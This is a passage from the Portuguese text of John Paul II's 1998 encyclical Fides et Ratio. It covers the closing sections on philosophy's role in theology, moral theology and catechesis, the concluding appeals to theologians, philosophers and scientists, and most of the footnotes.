linguagem conceptual e verdade, e na proposta de caminhos adequados para

uma sua correcta compreensão.

97. Se uma tarefa importante da teologia é a interpretação

das fontes, mais delicado e exigente ainda é o trabalho seguinte: a

compreensão da verdade revelada, ou seja, a elaboração

do intellectus fidei. Como já aludi, o intellectus

fidei requer o contributo duma filosofia do ser que, antes de mais,

permita à teologia dogmática realizar adequadamente

as suas funções. O pragmatismo dogmático dos inícios

deste século, segundo o qual as verdades da fé nada mais

seriam do que regras de comportamento, foi já refutado e rejeitado;

(114) apesar disso, persiste sempre a tentação de

compreender estas verdades de forma puramente funcional. Neste caso,

cair-se-ia num esquema inadequado, redutivo e desprovido da necessária

incisividade especulativa. Por exemplo, uma cristologia que partisse

unilateralmente « de baixo », como hoje se costuma dizer, ou uma

eclesiologia elaborada unicamente a partir do modelo das sociedades civis

dificilmente poderiam evitar o perigo de tal reducionismo.

Se o intellectus fidei quer integrar toda a riqueza da tradição

teológica, tem de recorrer à filosofia do ser. Esta deverá

ser capaz de propor o problema do ser segundo as exigências e as

contribuições de toda a tradição filosófica,

incluindo a mais recente, evitando cair em estéreis repetições

de esquemas antiquados. No quadro da tradição metafísica

cristã, a filosofia do ser é uma filosofia dinâmica

que vê a realidade nas suas estruturas ontológicas, causais e

inter-relacionais. A sua força e perenidade derivam do facto de se

basear precisamente sobre o acto do ser, o que lhe permite uma abertura

plena e global a toda a realidade, superando todo e qualquer limite até

alcançar Aquele que tudo leva à perfeição.

(115) Na teologia, que recebe os seus princípios da Revelação

como nova fonte de conhecimento, esta perspectiva é confirmada

através da relação íntima entre fé e

racionalidade metafísica.

98. Idênticas considerações podem ser feitas a propósito

da teologia moral. A recuperação da filosofia é

urgente também para a compreensão da fé que diz

respeito ao agir dos crentes. Diante dos desafios que se levantam

actualmente no campo social, económico, político e científico,

a consciência ética do homem desorientou-se. Na carta encíclica

Veritatis splendor, pus em evidência que muitos problemas do

mundo contemporâneo derivam de uma « crise em torno da verdade.

Perdida a ideia duma verdade universal sobre o bem, cognoscível

pela razão humana, mudou também inevitavelmente a concepção

de consciência: esta deixa de ser considerada na sua realidade

original, ou seja, como um acto da inteligência da pessoa, a quem

cabe aplicar o conhecimento universal do bem a uma determinada situação

e exprimir assim um juízo sobre a conduta justa a ter aqui e agora;

tende-se a conceder à consciência do indivíduo o

privilégio de estabelecer autonomamente os critérios do bem

e do mal, e de agir em consequência. Esta visão identifica-se

com uma ética individualista, na qual cada um se vê

confrontado com a sua verdade, diferente da verdade dos outros ».

(116)

Ao longo de toda a encíclica agora citada, sublinhei claramente o

papel fundamental que compete à verdade no campo da moral. Ora esta

verdade, na maior parte dos problemas éticos mais urgentes, requer,

da teologia moral, uma cuidadosa reflexão que saiba pôr em

evidência as suas raízes na palavra de Deus. Para poder

desempenhar esta sua missão, a teologia moral deve recorrer a uma ética

filosófica que tenha em vista a verdade do bem, isto é, uma ética

que não seja subjectivista nem utilitarista. Tal ética

implica e pressupõe uma antropologia filosófica e uma metafísica

do bem. A teologia moral, valendo-se desta visão unitária

que está necessariamente ligada à santidade cristã e à

prática das virtudes humanas e sobrenaturais, será capaz de

enfrentar os vários problemas que lhe dizem respeito — tais

como a paz, a justiça social, a família, a defesa da vida e

do ambiente natural — de forma mais adequada e eficaz.

99. Na Igreja, o trabalho teológico está, primariamente,

ao serviço do anúncio da fé e da catequese. (117) O

anúncio, ou querigma, chama à conversão, propondo a

verdade de Cristo que tem o seu ponto culminante no Mistério

Pascal: na verdade, só em Cristo é possível conhecer

a plenitude da verdade que salva (cf. Act 4, 12; 1 Tim 2,

4-6).

Neste contexto, é fácil compreender a razão por

que, além da teologia, assuma também grande relevo a referência

à catequese: é que esta possui implicações

filosóficas que têm de ser aprofundadas à luz da fé.

A doutrina ensinada na catequese pretende formar a pessoa. Por isso a

catequese, que é também comunicação linguística,

deve apresentar a doutrina da Igreja na sua integridade, (118) mostrando a

ligação que ela tem com a vida dos crentes. (119)

Realiza-se, assim, uma singular união entre doutrina e vida, que é

impossível conseguir de outro modo. De facto, aquilo que se

comunica na catequese não é um corpo de verdades

conceptuais, mas o mistério do Deus vivo. (120)

A reflexão filosófica muito pode contribuir para

esclarecer a relação entre verdade e vida, entre

acontecimento e verdade doutrinal, e sobretudo a relação

entre verdade transcendente e linguagem humanamente inteligível.

(121) A reciprocidade que se cria entre as disciplinas teológicas e

os resultados alcançados pelas diversas correntes filosóficas,

pode traduzir-se numa real fecundidade para a comunicação da

fé e para uma sua compreensão mais profunda.

CONCLUSÃO

100. Passados mais de cem anos da publicação da encíclica

Æterni Patris de Leão XIII, à qual me

referi várias vezes nestas páginas, pareceu-me necessário

abordar novamente e de forma mais sistemática o discurso sobre o

tema da relação entre a fé e a filosofia. É óbvia

a importância que o pensamento filosófico tem no progresso

das culturas e na orientação dos comportamentos pessoais e

sociais. Embora isso nem sempre se note de forma explícita, ele

exerce também uma grande influência sobre a teologia e suas

diversas disciplinas. Por estes motivos, considerei justo e necessário

sublinhar o valor que a filosofia tem para a compreensão da fé,

e as limitações em que aquela se vê, quando esquece ou

rejeita as verdades da Revelação. De facto, a Igreja

continua profundamente convencida de que fé e razão «

se ajudam mutuamente », (122) exercendo, uma em prol da outra, a função

tanto de discernimento crítico e purificador, como de estímulo

para progredir na investigação e no aprofundamento.

101. Se detivermos o nosso olhar sobre a história do pensamento,

sobretudo no Ocidente, é fácil constatar a riqueza que

sobreveio, para o progresso da humanidade, do encontro da filosofia com a

teologia e do intercâmbio das suas respectivas conquistas. A

teologia, que recebeu o dom duma abertura e originalidade que lhe permite

existir como ciência da fé, fez seguramente com que a razão

permanecesse aberta diante da novidade radical que a revelação

de Deus traz consigo. E isto foi, sem dúvida alguma, uma vantagem

para a filosofia, que, assim, viu abrirem-se novos horizontes apontando

para sucessivos significados que a razão está chamada a

aprofundar.

Precisamente à luz desta constatação, tal como

reafirmei o dever que tem a teologia de recuperar a sua genuína

relação com a filosofia, da mesma forma sinto a obrigação

de sublinhar que é conveniente para o bem e o progresso do

pensamento que também a filosofia recupere a sua relação

com a teologia. Nesta, encontrará não a reflexão dum

mero indivíduo, que, embora profunda e rica, sempre traz consigo as

limitações de perspectiva próprias do pensamento de

um só, mas a riqueza duma reflexão comum. De facto, quando

indaga sobre a verdade, a teologia, por sua natureza, é sustentada

pela nota da eclesialidade (123) e pela tradição do

Povo de Deus, com sua riqueza multiforme de conhecimentos e de culturas na

unidade da fé.

102. Com tal insistência sobre a importância e as autênticas

dimensões do pensamento filosófico, a Igreja promove a

defesa da dignidade humana e, simultaneamente, o anúncio da

mensagem evangélica. Ora, para estas tarefas, não existe,

hoje, preparação mais urgente do que esta: levar os homens à

descoberta da sua capacidade de conhecer a verdade (124) e do seu anseio

pelo sentido último e definitivo da existência. À luz

destas exigências profundas, inscritas por Deus na natureza humana,

aparece mais claro também o significado humano e humanizante da

palavra de Deus. Graças à mediação de uma

filosofia que se tornou também verdadeira sabedoria, o homem

contemporâneo chegará a reconhecer que será tanto mais

homem quanto mais se abrir a Cristo, acreditando no Evangelho.

103. Além disso, a filosofia é como que o espelho onde se

reflecte a cultura dos povos. Uma filosofia que se desenvolve de harmonia

com a fé aceitando o estímulo das exigências teológicas,

faz parte daquela « evangelização da cultura » que

Paulo VI propôs como um dos objectivos fundamentais da evangelização.

(125) Pensando na nova evangelização, cuja urgência

não me canso de recordar, faço apelo aos filósofos

para que saibam aprofundar aquelas dimensões de verdade, bem e

beleza, a que dá acesso a palavra de Deus. Isto torna-se ainda mais

urgente, ao considerar os desafios que o novo milénio parece trazer

consigo: eles tocam de modo particular as regiões e as culturas de

antiga tradição cristã. Este cuidado deve

considerar-se também um contributo fundamental e original para o

avanço da nova evangelização.

104. O pensamento filosófico é frequentemente o único

terreno comum de entendimento e diálogo com quem não

partilha a nossa fé. O movimento filosófico contemporâneo

exige o empenhamento solícito e competente de filósofos

crentes que sejam capazes de individuar as expectativas, possibilidades e

problemáticas deste momento histórico. Discorrendo à

luz da razão e segundo as suas regras, o filósofo cristão,

sempre guiado naturalmente pela leitura superior que lhe vem da palavra de

Deus, pode criar uma reflexão que seja compreensível e

sensata mesmo para quem ainda não possua a verdade plena que a

revelação divina manifesta. Este terreno comum de

entendimento e diálogo é ainda mais importante hoje, se se

pensa que os problemas mais urgentes da humanidade — como, por

exemplo, o problema ecológico, o problema da paz ou da convivência

das raças e das culturas — podem ter solução à

luz duma colaboração clara e honesta dos cristãos com

os fiéis doutras religiões e com todos os que, mesmo não

aderindo a qualquer crença religiosa, têm a peito a renovação

da humanidade. Afirmou-o o Concílio Vaticano II: « Por nossa

parte, o desejo de um tal diálogo, guiado apenas pelo amor pela

verdade e com a necessária prudência, não exclui ninguém:

nem aqueles que cultivam os altos valores do espírito humano, sem

ainda conhecerem o seu Autor, nem aqueles que se opõem à

Igreja e, de várias maneiras, a perseguem ». (126) Uma

filosofia, na qual já resplandeça algo da verdade de Cristo,

única resposta definitiva aos problemas do homem, (127) será

um apoio eficaz para aquela ética verdadeira e simultaneamente

universal de que, hoje, a humanidade tem necessidade.

105. Não posso concluir esta carta encíclica sem dirigir

um último apelo, em primeiro lugar aos teólogos,

para que prestem particular atenção às implicações

filosóficas da palavra de Deus e realizem uma reflexão onde

sobressaia a densidade especulativa e prática da ciência teológica.

Desejo agradecer-lhes o seu serviço eclesial. A estrita conexão

entre a sabedoria teológica e o saber filosófico é

uma das riquezas mais originais da tradição cristã no

aprofundamento da verdade revelada. Por isso, exorto-os a recuperarem e a

porem em evidência o melhor possível a dimensão metafísica

da verdade, para desse modo entrarem num diálogo crítico e

exigente quer com o pensamento filosófico contemporâneo, quer

com toda a tradição filosófica, esteja esta em

sintonia ou contradição com a palavra de Deus. Tenham sempre

presente a indicação dum grande mestre do pensamento e da

espiritualidade, S. Boaventura, que, ao introduzir o leitor na sua obra

Itinerarium mentis in Deum, convidava-o a ter consciência de

que « a leitura não é suficiente sem a compunção,

o conhecimento sem a devoção, a investigação

sem o arrebatamento do enlevo, a prudência sem a capacidade de

abandonar-se à alegria, a actividade separada da religiosidade, o

saber separado da caridade, a inteligência sem a humildade, o estudo

sem o suporte da graça divina, a reflexão sem a sabedoria

inspirada por Deus ». (128)

Dirijo o meu apelo também a quantos têm a responsabilidade

da formação sacerdotal, tanto académica como

pastoral, para que cuidem, com particular atenção, da

preparação filosófica daquele que deverá

anunciar o Evangelho ao homem de hoje, e mais ainda se se vai dedicar à

investigação e ao ensino da teologia. Procurem organizar o

seu trabalho à luz das prescrições do Concílio

Vaticano II (129) e sucessivas determinações, que mostram a

tarefa indeclinável e urgente, que cabe a todos nós, de

contribuir para uma genuína e profunda comunicação

das verdades da fé. Não se esqueça a grave

responsabilidade de uma preparação prévia e condigna

do corpo docente, destinado ao ensino da filosofia nos Seminários e

nas Faculdades Eclesiásticas. (130) É necessário que

uma tal docência possua a conveniente preparação científica,

proponha de maneira sistemática o grande património da tradição

cristã, e seja efectuada com o devido discernimento face às

exigências actuais da Igreja e do mundo.

106. O meu apelo dirige-se ainda aos filósofos e a quantos

ensinam a filosofia, para que, na esteira duma tradição

filosófica perenemente válida, tenham a coragem de recuperar

as dimensões de autêntica sabedoria e de verdade, inclusive

metafísica, do pensamento filosófico. Deixem-se interpelar

pelas exigências que nascem da palavra de Deus, e tenham a força

de elaborar o seu discurso racional e argumentativo de resposta a tal

interpelação. Vivam em permanente tensão para a

verdade e atentos ao bem que existe em tudo o que é verdadeiro.

Poderão, assim, formular aquela ética genuína de que

a humanidade tem urgente necessidade, sobretudo nestes anos. A Igreja

acompanha com atenção e simpatia as suas investigações;

podem, pois, estar seguros do respeito que ela nutre pela justa autonomia

da sua ciência. De modo particular, quero encorajar os crentes

empenhados no campo da filosofia para que iluminem os diversos âmbitos

da actividade humana, graças ao exercício de uma razão

que se torna mais segura e perspicaz com o apoio que recebe da fé.

Não posso, enfim, deixar de dirigir uma palavra também aos

cientistas, que nos proporcionam, com as suas pesquisas, um

conhecimento sempre maior do universo inteiro e da variedade

extraordinariamente rica dos seus componentes, animados e inanimados, com

suas complexas estruturas de átomos e moléculas. O caminho

por eles realizado atingiu, especialmente neste século, metas que não

cessam de nos maravilhar. Ao exprimir a minha admiração e o

meu encorajamento a estes valorosos pioneiros da pesquisa científica,

a quem a humanidade muito deve do seu progresso actual, sinto o dever de

exortá-los a prosseguir nos seus esforços, permanecendo

sempre naquele horizonte sapiencial onde aos resultados científicos

e tecnológicos se unem os valores filosóficos e éticos,

que são manifestação característica e

imprescindível da pessoa humana. O cientista está bem cônscio

de que « a busca da verdade, mesmo quando se refere a uma realidade

limitada do mundo ou do homem, jamais termina; remete sempre para alguma

coisa que está acima do objecto imediato dos estudos, para os

interrogativos que abrem o acesso ao Mistério ». (131)

107. A todos peço para se debruçarem profundamente

sobre o homem, que Cristo salvou no mistério do seu amor, e sobre a

sua busca constante de verdade e de sentido. Iludindo-o, vários

sistemas filosóficos convenceram-no de que ele é senhor

absoluto de si mesmo, que pode decidir autonomamente sobre o seu destino e

o seu futuro, confiando apenas em si próprio e nas suas forças.

Ora, esta nunca poderá ser a grandeza do homem. Para a sua realização,

será determinante apenas a opção de viver na verdade,

construindo a própria casa à sombra da Sabedoria e nela

habitando. Só neste horizonte da verdade poderá compreender,

com toda a clareza, a sua liberdade e o seu chamamento ao amor e ao

conhecimento de Deus como suprema realização de si mesmo.

108. Por último, o meu pensamento dirige-se para Aquela que a oração

da Igreja invoca como Sede da Sabedoria. A sua vida é uma

verdadeira parábola, capaz de iluminar a reflexão que

desenvolvi. De facto, pode-se entrever uma profunda analogia entre a vocação

da bem-aventurada Virgem Maria e a vocação da filosofia genuína.

Como a Virgem foi chamada a oferecer toda a sua humanidade e feminilidade

para que o Verbo de Deus pudesse encarnar e fazer-Se um de nós,

também a filosofia é chamada a dar o seu contributo racional

e crítico para que a teologia, enquanto compreensão da fé,

seja fecunda e eficaz. E como Maria, ao prestar o seu consentimento ao anúncio

de Gabriel, nada perdeu da sua verdadeira humanidade e liberdade, assim

também o pensamento filosófico, quando acolhe a interpelação

que recebe da verdade do Evangelho, nada perde da sua autonomia, antes vê

toda a sua indagação elevada à mais alta realização.

Os santos monges da antiguidade cristã tinham compreendido bem esta

verdade, quando designavam Maria como « a mesa intelectual da fé

». (132) N’Ela, viam a imagem coerente da verdadeira filosofia, e

estavam convencidos de que deviam philosophari in Maria.

Que a Sede da Sabedoria seja o porto seguro para quantos consagram a sua

vida à procura da sabedoria! O caminho para a sabedoria, fim último

e autêntico de todo o verdadeiro saber, possa ver-se livre de

qualquer obstáculo por intercessão d’Aquela que, depois de

gerar a Verdade e tê-La conservado no seu coração,

comunicou-A para sempre à humanidade inteira.

Dado em Roma, junto de S. Pedro, no dia 14 de Setembro — Festa

da Exaltação da Santa Cruz — de 1998, vigésimo

ano de Pontificado.


(1) Na minha primeira encíclica, a Redemptor hominis, já

tinha escrito: « Tornámo-nos participantes de tal missão

de Cristo profeta, e, em virtude desta mesma missão e juntamente

com Ele, servimos a verdade divina na Igreja. A responsabilidade por esta

verdade implica também amá-la e procurar obter a sua mais

exacta compreensão, a fim de a tornarmos mais próxima de nós

mesmos e dos outros, com toda a sua força salvífica, com o

seu esplendor, com a sua profundidade e simultaneamente a sua simplicidade

» [N. 19: AAS 71 (1979), 306].

(2) Cf. Conc. Ecum. Vat. II, Const. past. sobre a Igreja no mundo

contemporâneo Gaudium et spes, 16.

(3) Const. dogm. sobre a Igreja Lumen gentium, 25.

(4) N. 4: AAS 85 (1993), 1136.

(5) Conc. Ecum. Vat. II, Const. dogm. sobre a revelação

divina Dei Verbum, 2.

(6) Cf. Const. dogm. sobre a fé católica Dei Filius,

III: DS 3008.

(7) Ibid., IV: DS 3015; citado também em Conc.

Ecum. Vat. II, Const. past. sobre a Igreja no mundo contemporâneo

Gaudium et spes, 59.

(8) Const. dogm. sobre a revelação divina Dei Verbum,

2.

(9) João Paulo II, Carta ap. Tertio millennio adveniente (10

de Novembro de 1994), 10: AAS 87 (1995), 11.

(10) N. 4.

(11) N. 8.

(12) N. 22.

(13) Cf. Conc. Ecum. Vat. II, Const. dogm. sobre a revelação

divina Dei Verbum, 4.

(14) Ibid., 5.

(15) O Concílio Vaticano I, ao qual se refere a sentença

anteriormente citada, ensina que a obediência da fé exige o

empenhamento da inteligência e da vontade: « Dado que o homem

depende totalmente de Deus, enquanto seu Criador e Senhor, e a razão

criada está submetida completamente à verdade incriada,

somos obrigados, quando Deus Se revela, a prestar-Lhe, mediante a fé,

a plena submissão da nossa inteligência e da nossa vontade »

[Const. dogm. sobre a fé católica Dei Filius, III:

DS 3008].

(16) Sequência, na Solenidade do Santíssimo Corpo e

Sangue de Cristo.

(17) Pensées (ed. L. Brunschvicg), 789.

(18) Conc. Ecum. Vat. II, Const. past. sobre a Igreja no mundo contemporâneo

Gaudium et spes, 22.

(19) Cf. Conc. Ecum. Vat. II, Const. dogm. sobre a revelação

divina Dei Verbum, 2.

(20) Proémio e nn. 1 e 15: PL 158, 223-224.226.235.

(21) De vera religione, XXXIX, 72: CCL 32, 234.

(22) « Ut te semper desiderando quærerent et inveniendo

quiescerent »: Missale Romanum.

(23) Aristóteles, Metafísica, I, 1.

(24) Confessiones, X, 23, 33: CCL 27,173.

(25) N. 34: AAS 85 (1993), 1161.

(26) Cf. João Paulo II, Carta ap. Salvifici doloris (11

de Fevereiro de 1984), 9: AAS 76 (1984), 209-210.

(27) Cf. Conc. Ecum. Vat. II, Decl. sobre a relação da

Igreja com as religiões não-cristãs Nostra ætate,

2.

(28) Desenvolvo, há muito tempo, esta argumentação,

tendo-a expresso em diversas ocasiões: « "Quem é o

homem, e para que serve? E que bem ou que mal pode ele fazer?" (Sir

18, 8) (…) Estas perguntas estão no coração de

cada homem, como bem demonstra o génio poético de todos os

tempos e de todos os povos, que, quase como profecia da humanidade, repropõe

continuamente a séria pergunta que torna o homem

verdadeiramente tal. Exprimem a urgência de encontrar um porquê

da existência, de todos os seus instantes, tanto das suas etapas

salientes e decisivas como dos seus momentos mais comuns. Em tais

perguntas, é testemunhada a razão profunda da existência

humana, pois nelas a inteligência e a vontade do homem são

solicitadas a procurar livremente a solução capaz de

oferecer um sentido pleno à vida. Estes interrogativos, portanto,

constituem a expressão mais elevada da natureza do homem; por

conseguinte, a resposta a eles mede a profundidade do seu empenho na própria

existência. Em particular, quando o porquê das coisas é

procurado a fundo em busca da resposta última e mais exauriente,

então a razão humana atinge o seu vértice e abre-se à

religiosidade. De facto, a religiosidade representa a expressão

mais elevada da pessoa humana, porque é o ápice da sua

natureza racional. Brota da profunda aspiração do homem à

verdade, e está na base da busca livre e pessoal que ele faz do

divino » [Alocução da Audiência Geral de

quarta-feira, 19 de Outubro de 1983, 1-2: L’Osservatore Romano (ed.

portuguesa, de 23 de Outubro de 1983), 12].

(29) « [Galileu] declarou explicitamente que as duas verdades, de fé

e de ciência, não podem nunca contradizer-se, "procedendo

igualmente do Verbo divino a Escritura santa e a natureza, a primeira como

ditada pelo Espírito Santo, a segunda como executora fidelíssima

das ordens de Deus", segundo ele escreveu na sua carta ao Padre

Benedetto Castelli, a 21 de Dezembro de 1613. O Concílio Vaticano

II não se exprime diferentemente; retoma mesmo expressões

semelhantes, quando ensina: "A investigação metódica

em todos os campos do saber, quando levada a cabo (…) segundo as normas

morais, nunca será realmente

oposta à fé, já que as realidades profanas e as da

fé têm origem no mesmo Deus" (Gaudium et spes,

36). Galileu manifesta, na sua investigação científica,

a presença do Criador que o estimula, que Se antecipa às

suas intuições e as ajuda, operando no mais profundo do seu

espírito » [João Paulo II, Discurso à Pontifícia

Academia das Ciências, a 10 de Novembro de 1979: L’Osservatore

Romano (ed. portuguesa, de 25 de Novembro de 1979), 6].

(30) Cf. Conc. Ecum. Vat. II, Const. dogm. sobre a revelação

divina Dei Verbum, 4.

(31) Orígenes, Contra Celso 3, 55: SC 136, 130.

(32) Diálogo com Trifão, 8, 1: PG 6, 492.

(33) Stromata I, 18, 90, 1: SC 30, 115.

(34) Cf. ibid. I, 16, 80, 5: SC 30, 108.

(35) Cf. ibid. I, 5, 28, 1: SC 30, 65.

(36) Ibid., VI, 7, 55, 1-2: PG 9, 277.

(37) Ibid., I, 20, 100, 1: SC 30, 124.

(38) Santo Agostinho, Confessiones VI, 5, 7: CCL 27,

77-78.

(39) Cf. ibid. VII, 9, 13-14: CCL 27, 101-102.

(40) « Quid ergo Athenis et Hierosolymis? Quid academiæ et

ecclesiæ? » [De præscriptione hereticorum, VII,

9: SC 46, 98].

(41) Cf. Congr. da Educação Católica, Instr. sobre

o estudo dos Padres da Igreja na formação sacerdotal (10 de

Novembro de 1989), 25: AAS 82 (1990), 617-618.

(42) Santo Anselmo, Proslogion, 1: PL 158, 226.

(43) Idem, Monologion, 64: PL 158, 210.

(44) Cf. S. Tomás de Aquino, Summa contra gentiles, I,

VII.

(45) « Cum enim gratia non tollat naturam, sed perficiat »

[Idem, Summa theologiæ, I, 1, 8 ad 2].

(46) Cf. João Paulo II, Discurso aos participantes no IX

Congresso Tomista Internacional (29 de Setembro de 1990): L’Osservatore

Romano (ed. portuguesa de 28 de Outubro de 1990), 9.

(47) Carta ap. Lumen Ecclesiæ (20 de Novembro de 1974), 8:

AAS 66 (1974), 680.

(48) « Præterea, hæc doctrina per studium acquiritur.

Sapientia autem per infusionem habetur, unde inter septem dona Spiritus

Sancti connumeratur » [Summa theologiæ, I, 1, 6].

(49) Ibid., II, II, 45, 1 ad 2; cf. também II, II, 45, 2.

(50) Ibid., I, II, 109, 1 ad 1, que cita a conhecida frase do

Ambrosiaster, In prima Cor 12,3: PL 17, 258.

(51) Leão XIII, Carta enc. ÆTERNI PATRIS (4 de

Agosto de 1879): ASS 11 (1878-1879), 109.

(52) Paulo VI, Carta ap. Lumen Ecclesiæ (20 de Novembro de

1974), 8: AAS 66 (1974), 683.

(53) Carta enc. Redemptor hominis (4 de Março de 1979),

15: AAS 71 (1979), 286.

(54) Cf. Pio XII, Carta enc. Humani generis (12 de Agosto de

1950): AAS 42 (1950), 566.

(55) Cf. Conc. Ecum. Vat. I, Primeira const. dogm. sobre a Igreja de

Cristo Pastor TERNUS: DS 3070; Conc. Ecum. Vat. II, Const.

dogm. sobre a Igreja Lumen gentium, 25c.

(56) Cf. Sínodo de Constantinopla, DS 403.

(57) Cf. Concílio de Toledo I, DS 205; Concílio de

Braga I, DS 459-460; Sisto V, Bula Cœli et terræ

Creator (5 de Janeiro de 1586): Bullarium Romanum 44 (Roma,

1747), 176-179; Urbano VIII, Inscrutabilis iudiciorum (1 de Abril

de 1631): Bullarium Romanum 61 (Roma, 1758), 268-270.

(58) Cf. Conc. Ecum. de Viena, Decr. Fidei catholicæ: DS

902; Conc. Ecum. Lateranense V, Bula Apostolici regiminis: DS

1440.

(59) Cf. Theses a Ludovico Eugenio Bautain iussu sui Episcopi

subscriptæ (8 de Setembro de 1840): DS 2751-2756; Theses

a Ludovico Eugenio Bautain ex mandato S. Congr. Episcoporum et

Religiosorum subscriptæ (26 de Abril de 1844): DS 2765-2769.

(60) Cf. S. Congr. Indicis, Decr. Theses contra traditionalismum

Augustini Bonnety (11 de Junho de 1855): DS 2811-2814.

(61) Cf. Pio IX, Breve Eximiam tuam (15 de Junho de 1857): DS

2828-2831; Breve Gravissimas inter (11 de Dezembro de 1862):

DS 2850-2861.

(62) Cf. S. Congr. do Santo Ofício, Decr. Errores

ontologistarum (18 de Setembro de 1861): DS 2841-2847.

(63) Cf. Conc. Ecum. Vat. I, Const. dogm. sobre a fé católica

Dei Filius, II: DS 3004; e cân. 2-§1: DS

3026.

(64) Ibid., IV: DS 3015, citado em Conc. Ecum. Vat. II,

Const. past. sobre a Igreja no mundo contemporâneo Gaudium et

spes, 59.

(65) Conc. Ecum. Vat. I, Const. dogm. sobre a fé católica

Dei Filius, IV: DS 3017.

(66) Cf. Carta enc. Pascendi dominici gregis (8 de Setembro de

1907): ASS 40 (1907), 596-597.

(67) Cf. Pio XI, Carta enc. Divini Redemptoris (19 de Março

de 1937): AAS 29 (1937), 65-106.

(68) Carta enc. Humani generis (12 de Agosto de 1950): AAS

42 (1950), 562-563.

(69) Ibid.: o.c., 563-564.

(70) Cf. João Paulo II, Const. ap. Pastor Bonus (28 de

Junho de 1988) arts. 48-49: AAS 80 (1988), 873; Congr. da Doutrina

da Fé, Instr. sobre a vocação eclesial do teólogo

Donum veritatis (24 de Maio de 1990), 18: AAS 82 (1990),

1558.

(71) Cf. Instr. sobre alguns aspectos da « teologia da libertação

» Libertatis nuntius (6 de Agosto de 1984), VII-X: AAS

76 (1984), 890-903.

(72) Com sua palavra clara e de grande autoridade, o Concílio

Vaticano I tinha já condenado este erro, ao afirmar, por um lado,

que, « relativamente à fé (…), a Igreja Católica

preconiza que é uma virtude sobrenatural pela qual, sob a inspiração

divina e com a ajuda da graça, acreditamos que são

verdadeiras as coisas por Ele reveladas, não por causa da verdade

intrínseca das coisas percebida pela luz natural da razão,

mas por causa da autoridade do próprio Deus que as revela, o qual não

pode enganar-Se nem enganar » [Const. dogm. sobre a doutrina católica

Dei Filius, III: DS 3008; e cân. 3-§ 2: DS

3032]. E, por outro lado, o Concílio declarava que a razão

nunca « chega a ser capaz de penetrar [tais mistérios], nem as

verdades que formam o seu objecto específico » [ibid.,

IV: DS 3016]. Daqui tirava a seguinte conclusão prática:

« Os fiéis cristãos não só não têm

o direito de defender, como legítimas conclusões da ciência,

as opiniões reconhecidas contrárias à doutrina da fé,

especialmente quando estão condenadas pela Igreja, mas são

estritamente obrigados a considerá-las como erros, que apenas têm

uma ilusória aparência de verdade » [ibid., IV:

DS 3018].

(73) Cf. nn. 9-10.

(74) Const. dogm. sobre a revelação divina Dei Verbum,

10.

(75) Ibid., 21.

(76) Cf. ibid., 10.

(77) Cf. Carta enc. Humani generis (12 de Agosto de 1950): AAS

42 (1950), 565-567.571-573.

(78) Cf. Carta enc. ÆTERNI PATRIS (4 de Agosto de 1879):

ASS 11 (1878-1879), 97-115.

(79) Ibid.: o.c., 109.

(80) Cf. nn. 14-15.

(81) Cf. ibid., 20-21.

(82) Ibid., 22; cf. João Paulo II, Carta enc. Redemptor

hominis (4 de Março de 1979), 8: AAS 71 (1979),

271-272.

(83) Decr. sobre a formação sacerdotal Optatam totius,

15.

(84) Cf. João Paulo II, Const. ap. Sapientia christiana (15

de Abril de 1979), arts. 79-80: AAS 71 (1979), 495-496; Exort. ap.

pós-sinodal Pastores dabo vobis (25 de Março de

1992), 52: AAS 84 (1992), 750-751. Vejam-se também algumas

reflexões sobre a filosofia de S. Tomás: Discurso na Pontifícia

Universidade de S. Tomás (17 de Novembro de 1979): L’Osservatore

Romano (ed. portuguesa de 25 de Novembro de 1979), 1; Discurso aos

participantes no VIII Congresso Tomista Internacional (13 de Setembro de

1980): L’Osservatore Romano (ed. portuguesa de 28 de Setembro de

1980), 4; Discurso aos participantes no Congresso Internacional da

Sociedade S. Tomás de Aquino sobre « A doutrina tomista da

alma » (4 de Janeiro de 1986): L’Osservatore Romano (ed.

portuguesa de 12 de Janeiro de 1986), 9. E ainda: S. Congr. da Educação

Católica, Ratio fundamentalis institutionis sacerdotalis (6

de Janeiro de 1970), 70-75: AAS 62 (1970), 366-368; Decr. Sacra

theologia (20 de Janeiro de 1972): AAS 64 (1972), 583-586.

(85) Cf. Const. past. sobre a Igreja no mundo contemporâneo Gaudium

et spes, 57.62.

(86) Cf. ibid., 44.

(87) Cf. Bula Apostolici regimini sollicitudo, Sessão

VIII: Conc. Rcum. Decreta (1991), 605-606.

(88) Cf. Conc. Ecum. Vat. II, Const. dogm. sobre a revelação

divina Dei Verbum, 10.

(89) S. Tomás de Aquino, Summa theologiæ, II-II, 5,

3 ad 2.

(90) « A busca das condições, nas quais o homem faz

por si próprio as primeiras perguntas fundamentais acerca do

sentido da vida, do fim que lhe deseja dar e daquilo que o espera depois

da morte, constitui para a Teologia Fundamental o preâmbulo necessário,

para que, também hoje, a fé possa mostrar plenamente o

caminho a uma razão em busca sincera da verdade » [João

Paulo II, Carta aos participantes no Congresso Internacional de Teologia

Fundamental por ocasião do 125o aniversário da promulgação

da Const. dogm. « Dei Filius » (30 de Setembro de 1995), 4: L’Osservatore

Romano, (ed. portuguesa de 7 de Outubro de 1995), 10].

(91) Ibid., 4: o.c., 10.

(92) Cf. Conc. Ecum. Vat. II, Const. past. sobre a Igreja no mundo

contemporâneo Gaudium et spes, 15; Decr. sobre a actividade

missionária da Igreja Ad gentes, 22.

(93) S. Tomás de Aquino, De Cœlo 1, 22.

(94) Cf. Conc. Ecum. Vat. II, Const. past. sobre a Igreja no mundo

contemporâneo Gaudium et spes, 53-59.

(95) S. Agostinho, De prædestinatione Sanctorum 2, 5: PL

44, 963.

(96) Idem, De fide, spe et caritate, 7: CCL 64, 61.

(97) Cf. Conc. Ecum. de Calcedónia, Symbolum, definitio:

DS 302.

(98) Cf. João Paulo II, Carta enc. Redemptor hominis (4

de Março de 1979), 15: AAS 71 (1979), 286-289.

(99) Veja-se, por exemplo, S. Tomás de Aquino, Summa theologiæ,

I, 16, 1; S. Boaventura, Coll. in Hex., 3, 8, 1.

(100) Const. past. sobre a Igreja no mundo contemporâneo Gaudium

et spes, 15.

(101) Cf. João Paulo II, Carta enc. Veritatis splendor (6

de Agosto de 1993), 57-61: AAS 85 (1993), 1179-1182.

(102) Cf. Conc. Ecum. Vat. I, Const. dogm. sobre a fé católica

Dei Filius, IV: DS 3016.

(103) Cf. Conc. Ecum. Lateranense IV, De errore abbatis Ioachim,

II: DS 806.

(104) Cf. Conc. Ecum. Vat. II, Const. dogm. sobre a revelação

divina Dei Verbum, 24; Decr. sobre a formação

sacerdotal Optatam totius, 16.

(105) Cf. João Paulo II, Carta enc. Evangelium vitæ

